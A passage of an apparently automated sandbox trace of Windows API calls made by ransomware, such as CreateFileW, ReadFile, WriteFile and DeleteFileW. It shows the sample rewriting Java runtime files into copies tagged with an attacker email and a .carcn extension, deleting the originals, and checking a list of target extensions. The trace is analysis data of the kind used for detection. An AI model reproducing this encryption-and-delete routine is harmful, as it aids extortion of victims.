files\\java\\jre1.8.0_144\\bin\\instrument.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0299.990] GetLastError () returned 0x0 [0299.990] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x1e240, lpOverlapped=0x0) returned 1 [0299.994] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x1e250, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x1e250, lpOverlapped=0x0) returned 1 [0299.997] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0299.997] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf0, lpOverlapped=0x0) returned 1 [0299.998] SetEndOfFile (hFile=0x384) returned 1 [0299.998] CloseHandle (hObject=0x384) returned 1 [0299.998] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0299.998] SetEndOfFile (hFile=0x398) returned 1 [0300.000] CloseHandle (hObject=0x398) returned 1 [0300.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.000] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 1 [0300.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0300.000] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0300.000] lstrlenW (lpString=".doc") returned 4 [0300.000] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.000] lstrlenW (lpString=".docx") returned 5 [0300.000] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0300.000] lstrlenW (lpString=".pdf") returned 4 [0300.000] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.000] lstrlenW (lpString=".xls") returned 4 [0300.000] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.001] lstrlenW (lpString=".xlsx") returned 5 [0300.001] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0300.001] lstrlenW (lpString=".ppt") returned 4 [0300.001] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0300.001] lstrlenW (lpString=".zip") returned 4 [0300.001] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.001] lstrlenW (lpString=".rar") returned 4 [0300.001] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.001] lstrlenW (lpString=".bz2") returned 4 [0300.001] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.001] lstrlenW (lpString=".7z") returned 3 [0300.001] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0300.001] lstrlenW (lpString=".dbf") returned 4 [0300.001] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0300.001] lstrlenW (lpString=".1cd") returned 4 [0300.001] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0300.001] lstrlenW (lpString=".jpg") returned 4 [0300.001] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0300.001] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0300.001] lstrlenW (lpString=".doc") returned 4 [0300.001] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.001] lstrlenW (lpString=".docx") returned 5 [0300.001] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0300.002] lstrlenW (lpString=".pdf") returned 4 [0300.002] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.002] lstrlenW (lpString=".xls") returned 4 [0300.002] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.002] lstrlenW (lpString=".xlsx") returned 5 [0300.002] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0300.002] lstrlenW (lpString=".ppt") returned 4 [0300.002] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0300.002] lstrlenW (lpString=".zip") returned 4 [0300.002] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.002] lstrlenW (lpString=".rar") returned 4 [0300.002] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.002] lstrlenW (lpString=".bz2") returned 4 [0300.002] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.002] lstrlenW (lpString=".7z") returned 3 [0300.002] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0300.002] lstrlenW (lpString=".dbf") returned 4 [0300.002] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0300.002] lstrlenW (lpString=".1cd") returned 4 [0300.002] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.002] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll") returned 53 [0300.002] lstrlenW (lpString=".jpg") returned 4 [0300.002] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.003] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.003] lstrlenW (lpString="j2pcsc.dll") returned 10 [0300.003] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0300.003] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=19008) returned 1 [0300.003] CloseHandle (hObject=0x398) returned 1 [0300.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20 [0300.004] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.004] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0300.004] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.004] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.004] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0300.004] GetLastError () returned 0x0 [0300.005] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x4a40, lpOverlapped=0x0) returned 1 [0300.022] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x4a50, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x4a50, lpOverlapped=0x0) returned 1 [0300.024] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.024] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe8, lpOverlapped=0x0) returned 1 [0300.024] SetEndOfFile (hFile=0x384) returned 1 [0300.024] CloseHandle (hObject=0x384) returned 1 [0300.024] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.025] SetEndOfFile (hFile=0x398) returned 1 [0300.026] CloseHandle (hObject=0x398) returned 1 [0300.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.026] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 1 [0300.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0300.026] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0300.026] lstrlenW (lpString=".doc") returned 4 [0300.026] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.026] lstrlenW (lpString=".docx") returned 5 [0300.026] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0300.026] lstrlenW (lpString=".pdf") returned 4 [0300.026] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.026] lstrlenW (lpString=".xls") returned 4 [0300.026] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.027] lstrlenW (lpString=".xlsx") returned 5 [0300.027] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0300.027] lstrlenW (lpString=".ppt") returned 4 [0300.027] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0300.027] lstrlenW (lpString=".zip") returned 4 [0300.027] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.027] lstrlenW (lpString=".rar") returned 4 [0300.027] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.027] lstrlenW (lpString=".bz2") returned 4 [0300.027] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.027] lstrlenW (lpString=".7z") returned 3 [0300.027] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0300.027] lstrlenW (lpString=".dbf") returned 4 [0300.027] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0300.027] lstrlenW (lpString=".1cd") returned 4 [0300.027] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0300.027] lstrlenW (lpString=".jpg") returned 4 [0300.027] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0300.027] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0300.027] lstrlenW (lpString=".doc") returned 4 [0300.027] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.027] lstrlenW (lpString=".docx") returned 5 [0300.028] lstrcmpiW (lpString1=".docx", lpString2="c.dll") returned -1 [0300.028] lstrlenW (lpString=".pdf") returned 4 [0300.028] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.028] lstrlenW (lpString=".xls") returned 4 [0300.028] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.028] lstrlenW (lpString=".xlsx") returned 5 [0300.028] lstrcmpiW (lpString1=".xlsx", lpString2="c.dll") returned -1 [0300.028] lstrlenW (lpString=".ppt") returned 4 [0300.028] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0300.028] lstrlenW (lpString=".zip") returned 4 [0300.028] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.028] lstrlenW (lpString=".rar") returned 4 [0300.028] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.028] lstrlenW (lpString=".bz2") returned 4 [0300.028] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.028] lstrlenW (lpString=".7z") returned 3 [0300.028] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0300.028] lstrlenW (lpString=".dbf") returned 4 [0300.028] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0300.028] lstrlenW (lpString=".1cd") returned 4 [0300.028] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.028] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll") returned 49 [0300.028] lstrlenW (lpString=".jpg") returned 4 [0300.028] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.029] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0300.029] lstrlenW (lpString="j2pkcs11.dll") returned 12 [0300.029] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0300.029] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=63552) returned 1 [0300.029] CloseHandle (hObject=0x398) returned 1 [0300.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20 [0300.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.030] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0300.030] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.030] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.030] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0300.031] GetLastError () returned 0x0 [0300.031] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0xf840, lpOverlapped=0x0) returned 1 [0300.493] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf850, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xf850, lpOverlapped=0x0) returned 1 [0300.495] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.495] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0300.495] SetEndOfFile (hFile=0x384) returned 1 [0300.630] CloseHandle (hObject=0x384) returned 1 [0300.630] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.630] SetEndOfFile (hFile=0x398) returned 1 [0300.670] CloseHandle (hObject=0x398) returned 1 [0300.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0300.671] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 1 [0300.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0300.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0300.671] lstrlenW (lpString=".doc") returned 4 [0300.671] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.671] lstrlenW (lpString=".docx") returned 5 [0300.671] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0300.671] lstrlenW (lpString=".pdf") returned 4 [0300.671] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.671] lstrlenW (lpString=".xls") returned 4 [0300.671] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.671] lstrlenW (lpString=".xlsx") returned 5 [0300.671] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0300.671] lstrlenW (lpString=".ppt") returned 4 [0300.671] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0300.671] lstrlenW (lpString=".zip") returned 4 [0300.671] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.671] lstrlenW (lpString=".rar") returned 4 [0300.671] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.672] lstrlenW (lpString=".bz2") returned 4 [0300.672] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.672] lstrlenW (lpString=".7z") returned 3 [0300.672] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0300.672] lstrlenW (lpString=".dbf") returned 4 [0300.672] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0300.672] lstrlenW (lpString=".1cd") returned 4 [0300.672] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0300.672] lstrlenW (lpString=".jpg") returned 4 [0300.672] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0300.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0300.672] lstrlenW (lpString=".doc") returned 4 [0300.672] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0300.672] lstrlenW (lpString=".docx") returned 5 [0300.672] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0300.672] lstrlenW (lpString=".pdf") returned 4 [0300.672] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0300.672] lstrlenW (lpString=".xls") returned 4 [0300.672] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0300.672] lstrlenW (lpString=".xlsx") returned 5 [0300.672] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0300.672] lstrlenW (lpString=".ppt") returned 4 [0300.672] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0300.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0300.672] lstrlenW (lpString=".zip") returned 4 [0300.672] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0300.673] lstrlenW (lpString=".rar") returned 4 [0300.673] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0300.673] lstrlenW (lpString=".bz2") returned 4 [0300.673] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0300.673] lstrlenW (lpString=".7z") returned 3 [0300.673] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0300.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0300.673] lstrlenW (lpString=".dbf") returned 4 [0300.673] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0300.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0300.673] lstrlenW (lpString=".1cd") returned 4 [0300.673] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0300.673] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll") returned 51 [0300.673] lstrlenW (lpString=".jpg") returned 4 [0300.673] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0300.673] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0300.673] lstrlenW (lpString="javaws.exe") returned 10 [0300.673] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0300.674] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=319552) returned 1 [0300.674] CloseHandle (hObject=0x398) returned 1 [0300.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 0x20 [0300.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0300.674] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0300.674] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.675] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.675] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0300.675] GetLastError () returned 0x0 [0300.675] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x4e040, lpOverlapped=0x0) returned 1 [0300.701] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x4e050, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0x4e050, lpOverlapped=0x0) returned 1 [0300.707] ReadFile (in: hFile=0x398, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0300.707] WriteFile (in: hFile=0x384, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x363fc94*=0xe8, lpOverlapped=0x0) returned 1 [0300.707] SetEndOfFile (hFile=0x384) returned 1 [0300.707] CloseHandle (hObject=0x384) returned 1 [0300.708] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0300.708] SetEndOfFile (hFile=0x398) returned 1 [0300.711] CloseHandle (hObject=0x398) returned 1 [0300.711] SetFileAttributesW 